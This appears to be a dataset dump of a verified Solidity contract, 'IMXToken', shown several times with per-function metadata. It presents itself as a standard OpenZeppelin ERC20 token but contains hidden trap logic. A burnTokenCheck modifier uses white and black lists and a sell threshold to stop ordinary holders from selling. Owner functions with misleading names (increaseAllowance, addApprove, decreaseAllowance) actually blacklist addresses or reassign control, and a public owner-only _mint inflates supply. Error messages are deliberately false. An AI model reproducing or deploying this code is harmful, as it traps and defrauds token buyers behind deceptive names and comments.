(_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 8398, 8704 ] }
59,272
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); }
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 9031, 9454 ] }
59,273
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://30a78a69b81f4b861c49cf71cfcd8199126489ce33669c2dea1aae05107e8b0f
{ "func_code_index": [ 9889, 10238 ] }
59,274
IMXToken
IMXToken.sol
0xaeb29c7b70ceab600013680850c6533b577108e7
Solidity
IMXToken
contract IMXToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` 